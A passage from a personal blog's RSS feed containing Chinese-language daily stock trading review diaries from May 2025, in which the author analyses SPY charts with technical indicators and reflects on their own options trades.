https://memoryicecube.com/content/images/size/w1000/2025/05/Screenshot-2025-05-20-at-15.50.06.png 1000w, https://memoryicecube.com/content/images/size/w1600/2025/05/Screenshot-2025-05-20-at-15.50.06.png 1600w, https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-20-at-15.50.06.png 1702w" sizes="(min-width: 720px) 720px"></figure><p>&#x5728;&#x8FD9;&#x79CD;range day&#x7684;&#x884C;&#x60C5;&#x91CC;&#x53EF;&#x4EE5;&#x786E;&#x8BA4;&#x652F;&#x6491;&#x540E;&#x73A9;&#x4E91;&#x4E0E;&#x652F;&#x6491;&#x95F4;&#x7684;swing&#xFF0C;&#x8FD9;&#x4E2A;&#x652F;&#x6491;&#x662F;&#x5927;&#x76D8;&#x4F4E;&#x70B9;&#x4E0E;&#x9AD8;&#x70B9;&#x7684;aVWAP &#x7684; 1std line&#xFF0C;&#x8FD9;&#x4E2A;&#x662F;&#x5F3A;&#x652F;&#x6491;&#x3002;</p><figure class="kg-card kg-image-card"><img src="https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-20-at-15.57.52.png" class="kg-image" alt loading="lazy" width="1652" height="1372" srcset="https://memoryicecube.com/content/images/size/w600/2025/05/Screenshot-2025-05-20-at-15.57.52.png 600w, https://memoryicecube.com/content/images/size/w1000/2025/05/Screenshot-2025-05-20-at-15.57.52.png 1000w, https://memoryicecube.com/content/images/size/w1600/2025/05/Screenshot-2025-05-20-at-15.57.52.png 1600w, https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-20-at-15.57.52.png 1652w" sizes="(min-width: 720px) 720px"></figure><p>&#x7A81;&#x7834;&#x4E0B;&#x884C;&#x901A;&#x9053;&#x540E;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x770B;&#x76EE;&#x6807;&#x4F4D;&#x662F;&#x7A81;&#x7834;&#x4F4D;&#x7F6E;&#x5411;&#x4E0A;&#x770B;1.5&#xFF0C;&#x8FD9;&#x91CC;&#x6211;&#x4EEC;&#x770B;&#x5230;&#x786E;&#x5B9E;&#x5230;&#x4E86;1.5&#x4E0A;&#x4E0D;&#x53BB;&#x4E86;&#x8FD9;&#x91CC;&#x5C31;&#x53EF;&#x4EE5;&#x6B62;&#x76C8;&#x4E86;&#x3002;</p><figure class="kg-card kg-image-card"><img src="https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-20-at-16.00.25.png" class="kg-image" alt loading="lazy" width="1430" height="1348" srcset="https://memoryicecube.com/content/images/size/w600/2025/05/Screenshot-2025-05-20-at-16.00.25.png 600w, https://memoryicecube.com/content/images/size/w1000/2025/05/Screenshot-2025-05-20-at-16.00.25.png 1000w, https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-20-at-16.00.25.png 1430w" sizes="(min-width: 720px) 720px"></figure><p>&#x5728;&#x4E4B;&#x540E;2:00pm&#x5DE6;&#x53F3;&#x7A81;&#x7834;&#x4E86;PML&#xFF0C;&#x8FD9;&#x91CC;&#x53EF;&#x4EE5;&#x52A0;put</p><figure class="kg-card kg-image-card"><img src="https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-20-at-16.03.14.png" class="kg-image" alt loading="lazy" width="1462" height="1480" srcset="https://memoryicecube.com/content/images/size/w600/2025/05/Screenshot-2025-05-20-at-16.03.14.png 600w, https://memoryicecube.com/content/images/size/w1000/2025/05/Screenshot-2025-05-20-at-16.03.14.png 1000w, https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-20-at-16.03.14.png 1462w" sizes="(min-width: 720px) 720px"></figure><p>&#x770B;&#x5230;&#x8FD9;&#x51E0;&#x4E2A;&#x7BAD;&#x5934;&#x4E86;&#x5417;&#xFF0C;&#x591A;&#x6F02;&#x4EAE;&#x7684;&#x5E95;&#x80CC;&#x79BB;&#xFF01;&#xFF01;&#xFF01;&#xFF01;&#xFF01;&#xFF01;&#xFF01;&#xFF01;&#xFF01;&#x6211;&#x7761;&#x7740;&#x4E86;&#x554A;&#x554A;&#x554A;&#x9519;&#x8FC7;&#x4E86;&#x8349;&#xFF0C;&#x8FD9;&#x91CC;call&#x76F4;&#x63A5;&#x7FFB;&#x51E0;&#x500D;&#x554A;&#x554A;&#x554A;&#x554A;&#x554A;&#x554A;&#x54ED;&#x4E86;</p><h3 id="lesson-learned">Lesson Learned:</h3><ol><li>&#x6CA1;&#x6709;&#x660E;&#x663E;&#x8D8B;&#x52BF;&#x4E0D;&#x5E94;&#x8BE5;&#x5165;&#x573A;</li><li>&#x79BB;mtf&#x4E91;&#x4E0D;&#x9002;&#x5408;&#x5165;&#x573A;</li><li>&#x8981;&#x6709;&#x4FE1;&#x4EF0;&#xFF01;&#x6211;&#x592A;&#x5BB9;&#x6613;&#x88AB;&#x9A97;&#x8D70;&#x4E86;&#x2639;&#xFE0F;</li><li>&#x5728;&#x4E94;&#x5206;&#x949F;/&#x5341;&#x5206;&#x949F;&#x56FE;&#x770B;&#x5230;&#x786E;&#x8BA4;&#x8DCC;&#x7834;&#x518D;&#x6B62;&#x635F;</li></ol>]]></content:encoded></item><item><title><![CDATA[5/19 股票复盘]]></title><description><![CDATA[<h3 id="spy">SPY</h3><figure class="kg-card kg-image-card"><img src="https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-19-at-20.54.24.png" class="kg-image" alt loading="lazy" width="1410" height="808" srcset="https://memoryicecube.com/content/images/size/w600/2025/05/Screenshot-2025-05-19-at-20.54.24.png 600w, https://memoryicecube.com/content/images/size/w1000/2025/05/Screenshot-2025-05-19-at-20.54.24.png 1000w, https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-19-at-20.54.24.png 1410w" sizes="(min-width: 720px) 720px"></figure><figure class="kg-card kg-image-card"><img src="https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-19-at-20.55.02.png" class="kg-image" alt loading="lazy" width="1446" height="1416" srcset="https://memoryicecube.com/content/images/size/w600/2025/05/Screenshot-2025-05-19-at-20.55.02.png 600w, https://memoryicecube.com/content/images/size/w1000/2025/05/Screenshot-2025-05-19-at-20.55.02.png 1000w, https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-19-at-20.55.02.png 1446w" sizes="(min-width: 720px) 720px"></figure><p>&#x5728;&#x65E9;&#x76D8;&#x65F6;&#xFF0C;&#x6211;hold&#x4E86;&#x4E00;&#x5F20;&#x4E0A;&#x5468;&#x4E70;&#x7684;put&#x5E76;&#x5728;&#x7A7F;&#x8FC7;&#x4E91;&#x5C42;&#x8E29;&#x7A33;20EMA&#x65F6;&#x6B62;&#x76C8;&#x4E86;&#x3002;&#x8FD9;&#x4E2A;&#x65F6;&#x5019;&#x662F;&#x4E00;&#x4E2A;&#x5F88;bullish&#x7684;&#x56FE;&#xFF0C;&#x6211;&#x5728;&#x6B64;&#x65F6;&#x4E70;&#x5165;&#x4E86;</p><figure class="kg-card kg-image-card"><img src="https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-19-at-21.04.24.png" class="kg-image" alt loading="lazy" width="1328" height="1412" srcset="https://memoryicecube.com/content/images/size/w600/2025/05/Screenshot-2025-05-19-at-21.04.24.png 600w, https://memoryicecube.com/content/images/size/w1000/2025/05/Screenshot-2025-05-19-at-21.04.24.png 1000w, https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-19-at-21.04.24.png 1328w" sizes="(min-width: 720px) 720px"></figure><p>&#x5728;</p>]]></description><link>https://memoryicecube.com/5-19-gu-piao-fu-pan/</link><guid isPermaLink="false">682bfc8002f5c50001fa5d22</guid><dc:creator><![CDATA[Jialin Yu]]></dc:creator><pubDate>Tue, 20 May 2025 04:19:47 GMT</pubDate><content:encoded><![CDATA[<h3 id="spy">SPY</h3><figure class="kg-card kg-image-card"><img src="https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-19-at-20.54.24.png" class="kg-image" alt loading="lazy" width="1410" height="808" srcset="https://memoryicecube.com/content/images/size/w600/2025/05/Screenshot-2025-05-19-at-20.54.24.png 600w, https://memoryicecube.com/content/images/size/w1000/2025/05/Screenshot-2025-05-19-at-20.54.24.png 1000w, https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-19-at-20.54.24.png 1410w" sizes="(min-width: 720px) 720px"></figure><figure class="kg-card kg-image-card"><img src="https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-19-at-20.55.02.png" class="kg-image" alt loading="lazy" width="1446" height="1416" srcset="https://memoryicecube.com/content/images/size/w600/2025/05/Screenshot-2025-05-19-at-20.55.02.png 600w, https://memoryicecube.com/content/images/size/w1000/2025/05/Screenshot-2025-05-19-at-20.55.02.png 1000w, https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-19-at-20.55.02.png 1446w" sizes="(min-width: 720px) 720px"></figure><p>&#x5728;&#x65E9;&#x76D8;&#x65F6;&#xFF0C;&#x6211;hold&#x4E86;&#x4E00;&#x5F20;&#x4E0A;&#x5468;&#x4E70;&#x7684;put&#x5E76;&#x5728;&#x7A7F;&#x8FC7;&#x4E91;&#x5C42;&#x8E29;&#x7A33;20EMA&#x65F6;&#x6B62;&#x76C8;&#x4E86;&#x3002;&#x8FD9;&#x4E2A;&#x65F6;&#x5019;&#x662F;&#x4E00;&#x4E2A;&#x5F88;bullish&#x7684;&#x56FE;&#xFF0C;&#x6211;&#x5728;&#x6B64;&#x65F6;&#x4E70;&#x5165;&#x4E86;</p><figure class="kg-card kg-image-card"><img src="https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-19-at-21.04.24.png" class="kg-image" alt loading="lazy" width="1328" height="1412" srcset="https://memoryicecube.com/content/images/size/w600/2025/05/Screenshot-2025-05-19-at-21.04.24.png 600w, https://memoryicecube.com/content/images/size/w1000/2025/05/Screenshot-2025-05-19-at-21.04.24.png 1000w, https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-19-at-21.04.24.png 1328w" sizes="(min-width: 720px) 720px"></figure><p>&#x5728;&#x4E0A;&#x6DA8;&#x8FC7;&#x7A0B;&#x4E2D;&#x8FD9;&#x91CC;&#x5F62;&#x6210;&#x4E86;&#x4E00;&#x4E2A;descending triangle&#x5E76;&#x4E14;&#x7A81;&#x7834;upper trendline, which is a bullish sign. &#x66F4;&#x52A0;&#x91CD;&#x8981;&#x7684;&#x662F;&#x8FD9;&#x4E2A;&#x65F6;&#x5019;OBV&#x5DF2;&#x7ECF;&#x8D70;&#x51FA;&#x4E86;&#x4E00;&#x4E2A;symmetric triangle&#x5E76;&#x4E14;&#x7A81;&#x7834;&#x4E86;upper trend&#xFF0C;&#x8FD9;&#x91CC;&#x751A;&#x81F3;&#x5148;&#x4E8E;price&#x7684;&#x7A81;&#x7834;&#xFF0C;&#x4F46;&#x662F;&#x53EF;&#x60DC;&#x7684;&#x662F;&#x6211;&#x8FD9;&#x91CC;&#x4E0D;&#x591F;&#x575A;&#x5B9A;&#x51FA;&#x6389;&#x4E86;&#x6211;&#x7684;call&#x3002;</p><figure class="kg-card kg-image-card"><img src="https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-19-at-21.06.27.png" class="kg-image" alt loading="lazy" width="1424" height="1418" srcset="https://memoryicecube.com/content/images/size/w600/2025/05/Screenshot-2025-05-19-at-21.06.27.png 600w, https://memoryicecube.com/content/images/size/w1000/2025/05/Screenshot-2025-05-19-at-21.06.27.png 1000w, https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-19-at-21.06.27.png 1424w" sizes="(min-width: 720px) 720px"></figure><p>&#x8FD9;&#x91CC;&#x53EF;&#x4EE5;&#x753B;&#x51FA;&#x4E00;&#x6761;support trend line&#x4E00;&#x76F4;&#x5728;&#x505A;&#x652F;&#x6491;&#xFF0C;&#x4E2D;&#x95F4;&#x8D70;&#x4E86;&#x4E00;&#x4E2A;bullish wedge&#x4E5F;&#x662F;&#x4E00;&#x4E2A;bullish sign&#xFF0C; &#x5728;high of Prior day&#x8E29;&#x7A33;&#x540E;&#x7EE7;&#x7EED;&#x51B2;&#x9AD8;&#xFF0C;&#x5728;&#x6628;&#x65E5;anchored aVWAP &#x7684;2std&#x7EBF;&#x53D7;&#x963B;&#x53CD;&#x5F39;</p><figure class="kg-card kg-image-card"><img src="https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-19-at-21.09.43.png" class="kg-image" alt loading="lazy" width="1204" height="738" srcset="https://memoryicecube.com/content/images/size/w600/2025/05/Screenshot-2025-05-19-at-21.09.43.png 600w, https://memoryicecube.com/content/images/size/w1000/2025/05/Screenshot-2025-05-19-at-21.09.43.png 1000w, https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-19-at-21.09.43.png 1204w" sizes="(min-width: 720px) 720px"></figure><p>&#x6709;&#x610F;&#x601D;&#x7684;&#x662F;&#x6B64;&#x523B;&#x6211;&#x753B;&#x4E86;&#x4E00;&#x4E2A;expanding triangle &#x5E76;&#x4E14;&#x5DE6;&#x4FA7;&#x505A;&#x7A7A;&#x4E00;&#x76F4;&#x5728;&#x7B49;&#x5411;&#x4E0B;&#x7A81;&#x7834;&#xFF0C;&#x4F46;&#x662F;&#x6211;&#x5E76;&#x4E0D;&#x786E;&#x5B9A;&#x8FD9;&#x662F;&#x5BF9;&#x7684;&#xFF0C;&#x56E0;&#x4E3A;expanding triangle&#x9700;&#x8981;volumn&#x4E0A;&#x5347;&#xFF0C;&#x77E5;&#x9053;&#x7A81;&#x7834;&#x4E86;&#x4E5F;&#x6CA1;&#x8FC7;&#x591A;&#x4E45;&#x5C31;&#x56DE;&#x8E29;&#x4E86;&#x3002;&#x63A5;&#x4E0B;&#x6765;&#x6211;&#x8FD8;&#x662F;&#x770B;&#x8DCC;&#xFF0C;</p><figure class="kg-card kg-image-card"><img src="https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-19-at-21.12.02.png" class="kg-image" alt loading="lazy" width="1176" height="828" srcset="https://memoryicecube.com/content/images/size/w600/2025/05/Screenshot-2025-05-19-at-21.12.02.png 600w, https://memoryicecube.com/content/images/size/w1000/2025/05/Screenshot-2025-05-19-at-21.12.02.png 1000w, https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-19-at-21.12.02.png 1176w" sizes="(min-width: 720px) 720px"></figure><p>&#x4F46;&#x662F;&#x7531;&#x4E8E;&#x6211;&#x7684;flag&#x753B;&#x9519;&#x4E86;&#xFF0C;&#x6211;&#x5728;&#x7BAD;&#x5934;&#x90E8;&#x4F4D;&#x8BEF;&#x4EE5;&#x4E3A;&#x5411;&#x4E0A;&#x7A81;&#x7834;&#x4E70;&#x4E86;&#x4E00;&#x5F20;call&#x5E76;&#x6B62;&#x635F;&#x4E86;&#x6211;&#x7684;put&#x3002;&#x4F46;&#x5373;&#x4FBF;&#x5982;&#x6B64;&#x8FD9;&#x91CC;&#x6CE2;&#x52A8;&#x4E5F;&#x4E0D;&#x9AD8;&#x3002;&#x6700;&#x540E;&#x6211;&#x5728;&#x6574;&#x5F20;&#x56FE;&#x4E0A;&#x627E;&#x5230;&#x4E00;&#x4E2A; head&amp;shoulder</p><figure class="kg-card kg-image-card"><img src="https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-19-at-21.15.01.png" class="kg-image" alt loading="lazy" width="2000" height="651" srcset="https://memoryicecube.com/content/images/size/w600/2025/05/Screenshot-2025-05-19-at-21.15.01.png 600w, https://memoryicecube.com/content/images/size/w1000/2025/05/Screenshot-2025-05-19-at-21.15.01.png 1000w, https://memoryicecube.com/content/images/size/w1600/2025/05/Screenshot-2025-05-19-at-21.15.01.png 1600w, https://memoryicecube.com/content/images/size/w2400/2025/05/Screenshot-2025-05-19-at-21.15.01.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>&#x84DD;&#x8272;&#x7684;&#x7EBF;&#x662F;&#x6211;&#x7684;neckline&#x3002;&#x6211;&#x5728;&#x9ED1;&#x8272;&#x7BAD;&#x5934;&#x5904;&#x5165;&#x573A;&#xFF0C;&#x4F46;&#x662F;&#x6B64;&#x65F6;&#x4E91;&#x5728;&#x5730;&#x4E0B;&#x4F5C;&#x4E3A;&#x4E00;&#x4E2A;&#x5F3A;&#x652F;&#x6491;&#xFF0C;&#x6B64;&#x65F6;&#x662F;&#x4E0D;&#x9002;&#x5408;&#x5165;&#x573A;&#x7684;&#x3002;</p><figure class="kg-card kg-image-card"><img src="https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-19-at-21.17.37.png" class="kg-image" alt loading="lazy" width="904" height="1402" srcset="https://memoryicecube.com/content/images/size/w600/2025/05/Screenshot-2025-05-19-at-21.17.37.png 600w, https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-19-at-21.17.37.png 904w" sizes="(min-width: 720px) 720px"></figure><p> &#x66F4;&#x91CD;&#x8981;&#x7684;&#x662F;&#x8FD9;&#x91CC;&#xFF1A; price&#x6709;&#x4E00;&#x4E2A;higher low&#xFF0C;&#x4F46;&#x662F;obv&#x51FA;&#x73B0;&#x4E86;&#x4E00;&#x4E2A;lower low&#x8BC1;&#x660E;selling pressure&#x964D;&#x4F4E;&#xFF0C;&#x8FD9;&#x662F;&#x4E00;&#x4E2A;bullish sign&#x6240;&#x4EE5;&#x6B64;&#x65F6;&#x5C31;&#x5E94;&#x8BE5;&#x79BB;&#x573A;&#x4E86;&#x3002;&#x6700;&#x540E;&#x6211;&#x5728;neckline&#x88AB;&#x7A81;&#x7834;&#x65F6;&#x6B62;&#x635F;&#x3002;</p>]]></content:encoded></item><item><title><![CDATA[long-term spy analysis - updated 5/17]]></title><description><![CDATA[<figure class="kg-card kg-image-card"><img src="https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-17-at-20.42.13.png" class="kg-image" alt loading="lazy" width="1156" height="956" srcset="https://memoryicecube.com/content/images/size/w600/2025/05/Screenshot-2025-05-17-at-20.42.13.png 600w, https://memoryicecube.com/content/images/size/w1000/2025/05/Screenshot-2025-05-17-at-20.42.13.png 1000w, https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-17-at-20.42.13.png 1156w" sizes="(min-width: 720px) 720px"></figure><p>&#x8FD9;&#x8FB9;&#x53EF;&#x4EE5;&#x89C2;&#x5BDF;&#x5230;&#xFF5E;20&#x5E74;3&#x6708;9&#x65E5;&#x6709;&#x4E00;&#x4E2A;&#x6700;&#x4F4E;&#x70B9;&#xFF0C;&#x5728;&#x6DA8;&#x5230;22&#x5E74;1&#x6708;3&#x65E5;&#x5DE6;&#x53F3;&#x5F00;&#x59CB;&#x4E00;&#x8F6E;&#x56DE;&#x8C03;&#xFF0C;&#x5148;&#x8BD5;&#x8E29;0.62&#x7EBF;&#xFF0C;&#x56DE;&#x8C03;2/3&</p>]]></description><link>https://memoryicecube.com/c/</link><guid isPermaLink="false">6829572b02f5c50001fa5cdb</guid><dc:creator><![CDATA[Jialin Yu]]></dc:creator><pubDate>Tue, 20 May 2025 03:52:14 GMT</pubDate><content:encoded><![CDATA[<figure class="kg-card kg-image-card"><img src="https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-17-at-20.42.13.png" class="kg-image" alt loading="lazy" width="1156" height="956" srcset="https://memoryicecube.com/content/images/size/w600/2025/05/Screenshot-2025-05-17-at-20.42.13.png 600w, https://memoryicecube.com/content/images/size/w1000/2025/05/Screenshot-2025-05-17-at-20.42.13.png 1000w, https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-17-at-20.42.13.png 1156w" sizes="(min-width: 720px) 720px"></figure><p>&#x8FD9;&#x8FB9;&#x53EF;&#x4EE5;&#x89C2;&#x5BDF;&#x5230;&#xFF5E;20&#x5E74;3&#x6708;9&#x65E5;&#x6709;&#x4E00;&#x4E2A;&#x6700;&#x4F4E;&#x70B9;&#xFF0C;&#x5728;&#x6DA8;&#x5230;22&#x5E74;1&#x6708;3&#x65E5;&#x5DE6;&#x53F3;&#x5F00;&#x59CB;&#x4E00;&#x8F6E;&#x56DE;&#x8C03;&#xFF0C;&#x5148;&#x8BD5;&#x8E29;0.62&#x7EBF;&#xFF0C;&#x56DE;&#x8C03;2/3&#x7136;&#x540E;&#x8DF3;&#x7A7A;&#x4F4E;&#x5F00;&#x7834;&#x6389;&#x4E0A;&#x6B21;&#x7684;&#x4F4D;&#x7F6E;&#x518D;&#x6B21;&#x8BD5;&#x63A2;&#xFF0C;&#x6700;&#x7EC8;&#x56DE;&#x843D;0.5&#x5B9E;&#x73B0;&#x53CD;&#x5F39;&#x3002;</p><figure class="kg-card kg-image-card"><img src="https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-17-at-21.00.33.png" class="kg-image" alt loading="lazy" width="1026" height="736" srcset="https://memoryicecube.com/content/images/size/w600/2025/05/Screenshot-2025-05-17-at-21.00.33.png 600w, https://memoryicecube.com/content/images/size/w1000/2025/05/Screenshot-2025-05-17-at-21.00.33.png 1000w, https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-17-at-21.00.33.png 1026w" sizes="(min-width: 720px) 720px"></figure><p>&#x653E;&#x5927;&#x5230;0.5&#x53CD;&#x5F39;&#x540E;&#xFF0C;&#x9ED1;&#x7EBF;&#x90E8;&#x5206;&#x6211;&#x8FD8;&#x4E0D;&#x77E5;&#x9053;&#x4E3A;&#x4EC0;&#x4E48;&#x4F1A;&#x53D7;&#x963B;&#x529B;&#x3002;&#x4E0D;&#x8FC7;&#x9ED1;&#x8272;&#x7BAD;&#x5934;&#x4E0D;&#x5206;&#x4E5F;&#x662F;&#x8E29;&#x7A33;0.5&#x53CD;&#x5F39;&#xFF0C;&#x5148;&#x524D;&#x963B;&#x529B;&#x4F4D;&#x7AD9;&#x7A33;&#x7136;&#x540E;&#x4E00;&#x76F4;&#x7A81;&#x7834;&#x539F;&#x5148;resistance&#x540E;&#xFF0C;&#x7531;&#x7B2C;&#x4E00;&#x5F20;&#x56FE;&#x53EF;&#x4EE5;&#x770B;&#x51FA;&#x7B2C;&#x4E8C;&#x6B21;&#x7684;&#x56DE;&#x8E29;&#x5230;&#x6700;&#x9AD8;&#x70B9;&#x7684;&#x8DDD;&#x79BB;&#x6B63;&#x662F;&#x4E0A;&#x4E00;&#x4E2A;&#x4F4E;&#x70B9;&#x5230;previous high&#x7684;&#x8DDD;&#x79BB;&#x3002;</p><figure class="kg-card kg-image-card"><img src="https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-18-at-09.23.03.png" class="kg-image" alt loading="lazy" width="1166" height="1260" srcset="https://memoryicecube.com/content/images/size/w600/2025/05/Screenshot-2025-05-18-at-09.23.03.png 600w, https://memoryicecube.com/content/images/size/w1000/2025/05/Screenshot-2025-05-18-at-09.23.03.png 1000w, https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-18-at-09.23.03.png 1166w" sizes="(min-width: 720px) 720px"></figure><p>&#x73B0;&#x5728;&#x4E13;&#x6CE8;&#x770B;&#x7B2C;&#x4E8C;&#x6BB5;&#xFF0C;&#x8D70;&#x5B8C;&#x6574;&#x6BB5;&#x540E;&#xFF0C;&#x7531;&#x8FDB;&#x884C;&#x4E86;&#x4E00;&#x4E2A;&#x56DE;&#x5230;0.5</p><figure class="kg-card kg-image-card"><img src="https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-18-at-11.03.25.png" class="kg-image" alt loading="lazy" width="1244" height="922" srcset="https://memoryicecube.com/content/images/size/w600/2025/05/Screenshot-2025-05-18-at-11.03.25.png 600w, https://memoryicecube.com/content/images/size/w1000/2025/05/Screenshot-2025-05-18-at-11.03.25.png 1000w, https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-18-at-11.03.25.png 1244w" sizes="(min-width: 720px) 720px"></figure><p>&#x8FD9;&#x91CC;&#x53EF;&#x4EE5;&#x8BC6;&#x522B;&#x5230;&#x4E00;&#x4E2A;&#x4E09;&#x63A8;&#x6954;&#x5F62;, &#x6240;&#x4EE5;&#x8FD9;&#x91CC;&#x6211;&#x4EEC;&#x4E5F;&#x53EF;&#x4EE5;&#x6839;&#x636E;&#x6B64;&#x63A8;&#x6D4B;&#x8FD9;&#x662F;&#x4E00;&#x4E2A;end of bull trend.</p><figure class="kg-card kg-image-card"><img src="https://memoryicecube.com/content/images/2025/05/IMG_0178-1.jpeg" class="kg-image" alt loading="lazy" width="1326" height="1297" srcset="https://memoryicecube.com/content/images/size/w600/2025/05/IMG_0178-1.jpeg 600w, https://memoryicecube.com/content/images/size/w1000/2025/05/IMG_0178-1.jpeg 1000w, https://memoryicecube.com/content/images/2025/05/IMG_0178-1.jpeg 1326w" sizes="(min-width: 720px) 720px"></figure><p>&#x901A;&#x8FC7;&#x770B;OBV&#x53EF;&#x4EE5;&#x770B;&#x5230;&#xFF0C;&#x5728;&#x4E0B;&#x964D;&#x8D8B;&#x52BF;&#x4E4B;&#x524D;&#x662F;&#x4E00;&#x4E2A;uptrend&#xFF0C;&#x4F46;&#x662F;24&#x5E74;12&#x6708;&#x5DE6;&#x53F3;&#x88AB;&#x7A81;&#x7834;&#x5E76;&#x4E14;25&#x5E74;1&#x6708;&#x5DE6;&#x53F3;&#x6709;&#x4E00;&#x6B21;&#x56DE;&#x8E29;&#x5E76;&#x4E14;&#x53CD;&#x5F39; &#x8FD9;&#x4E2A;&#x65F6;&#x5019;&#x5E94;&#x8BE5;exist&#x5E76;&#x4E14;&#x5F00;&#x59CB;&#x505A;&#x7A7A;</p>]]></content:encoded></item><item><title><![CDATA[5/16 股票复盘日记]]></title><description><![CDATA[<h3 id="spy">SPY</h3><figure class="kg-card kg-image-card"><img src="https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-16-at-18.22.33.png" class="kg-image" alt loading="lazy" width="2000" height="1105" srcset="https://memoryicecube.com/content/images/size/w600/2025/05/Screenshot-2025-05-16-at-18.22.33.png 600w, https://memoryicecube.com/content/images/size/w1000/2025/05/Screenshot-2025-05-16-at-18.22.33.png 1000w, https://memoryicecube.com/content/images/size/w1600/2025/05/Screenshot-2025-05-16-at-18.22.33.png 1600w, https://memoryicecube.com/content/images/size/w2400/2025/05/Screenshot-2025-05-16-at-18.22.33.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>&#x9996;&#x5148;&#x770B;&#x5230;&#x5341;&#x4E00;&#x70B9;&#x5DE6;&#x53F3;&#x6709;&#x4E00;&#x6B21;&#x7ED3;&#x5408;&#x65E9;&#x76D8;&#x7684;&#x4E09;&#x63A8;&#xFF0C;&#x4E09;&#x63A8;&#x5B9A;&#x4E49;&#x4E3A;&#x6BCF;&#x4E00;&#x63A8;&#x7684;&#x8D8B;&#x52BF;&#x90FD;&#x5E94;&#x8BE5;&#x9010;&#x6E10;&#x51CF;&#x5F31;&#xFF0C;&#x6B64;&#x65F6;&#x5E94;&#x8BE5;&#x671F;&#x5F85;&#x6709;&#x4E00;&#x4E2A;&#x5927;</p>]]></description><link>https://memoryicecube.com/5-16-gu-piao-fu-pan-ri-ji/</link><guid isPermaLink="false">6827b8b802f5c50001fa5cac</guid><dc:creator><![CDATA[Jialin Yu]]></dc:creator><pubDate>Fri, 16 May 2025 23:29:05 GMT</pubDate><content:encoded><![CDATA[<h3 id="spy">SPY</h3><figure class="kg-card kg-image-card"><img src="https://memoryicecube.com/content/images/2025/05/Screenshot-2025-05-16-at-18.22.33.png" class="kg-image" alt loading="lazy" width="2000" height="1105" srcset="https://memoryicecube.com/content/images/size/w600/2025/05/Screenshot-2025-05-16-at-18.22.33.png 600w, https://memoryicecube.com/content/images/size/w1000/2025/05/Screenshot-2025-05-16-at-18.22.33.png 1000w, https://memoryicecube.com/content/images/size/w1600/2025/05/Screenshot-2025-05-16-at-18.22.33.png 1600w, https://memoryicecube.com/content/images/size/w2400/2025/05/Screenshot-2025-05-16-at-18.22.33.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>&#x9996;&#x5148;&#x770B;&#x5230;&#x5341;&#x4E00;&#x70B9;&#x5DE6;&#x53F3;&#x6709;&#x4E00;&#x6B21;&#x7ED3;&#x5408;&#x65E9;&#x76D8;&#x7684;&#x4E09;&#x63A8;&#xFF0C;&#x4E09;&#x63A8;&#x5B9A;&#x4E49;&#x4E3A;&#x6BCF;&#x4E00;&#x63A8;&#x7684;&#x8D8B;&#x52BF;&#x90FD;&#x5E94;&#x8BE5;&#x9010;&#x6E10;&#x51CF;&#x5F31;&#xFF0C;&#x6B64;&#x65F6;&#x5E94;&#x8BE5;&#x671F;&#x5F85;&#x6709;&#x4E00;&#x4E2A;&#x5927;&#x53CD;&#x5F39;&#x3002;&#x4F46;&#x662F;&#x6B64;&#x65F6;&#x5DF2;&#x7ECF;</p><ol><li>&#x8DCC;&#x7834;mtf&#x4E91;</li><li>&#x4E24;&#x6839;&#x9634;&#x7EBF;close&#x5728;PML&#x4E0B;&#x65B9;</li></ol><p>&#x8FD9;&#x662F;&#x4E00;&#x4E2A;&#x975E;&#x5E38;bearish&#x7684;setup&#xFF0C;&#x4F46;&#x662F;&#x4E0D;&#x5E94;&#x8BE5;&#x9009;&#x62E9;put&#xFF0C;&#x6B64;&#x65F6;ema20&#x5904;&#x4E8E;&#x7A0D;&#x5FAE;&#x9760;&#x4E0B;&#x7684;&#x5730;&#x65B9;&#xFF0C;&#x4E5F;&#x5C31;&#x662F;&#x4E00;&#x4E2A;&#x5F3A;&#x652F;&#x6491;&#xFF0C;&#x4EF7;&#x683C;&#x5F88;&#x53EF;&#x80FD;&#x4E0B;&#x4E0D;&#x53BB;&#xFF0C;&#x6240;&#x4EE5;&#x6B64;&#x65F6;&#x5E94;&#x8BE5;&#x9009;&#x62E9;&#x89C2;&#x671B;&#xFF0C;&#x7B49;&#x5F85;&#x53CD;&#x5F39;&#x6216;&#x8005;ema20&#x8DCC;&#x7834;&#x3002;&#x6240;&#x4EE5;&#x8FD9;&#x4E2A;&#x65F6;&#x5019;&#xFF01;&#xFF01;&#x6628;